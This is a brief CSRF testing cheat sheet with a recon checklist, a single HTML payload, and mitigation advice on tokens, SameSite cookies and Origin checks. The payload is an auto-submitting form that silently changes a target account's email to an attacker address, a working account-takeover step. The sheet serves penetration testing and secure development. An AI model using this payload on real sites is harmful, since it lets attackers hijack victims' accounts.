Cross-Site Request Forgery (CSRF)

Target Recon Testing Checklist

• 1.Check state-changing POST/PUT requests for anti-CSRF token parameters.
• 2.Test form execution after stripping the CSRF token - does the server still accept it?
• 3.Check if CSRF tokens are tied to specific sessions or accepted globally.
• 4.Examine SameSite cookie flags - does the browser send credentials on cross-site requests?

Testing Parameters & Payloads

<form action="https://target.com/api/email" method="POST"><input name="email" value="hacker@evil.com" /></form><script>document.forms[0].submit()</script>

Mitigation & Safe Development Guidelines

• Implement unique, cryptographically signed anti-CSRF tokens for all state-changing endpoints.
• Set SameSite=Strict or SameSite=Lax attributes on session cookies.
• Validate request headers (Origin and Referer) against allowed hosts lists.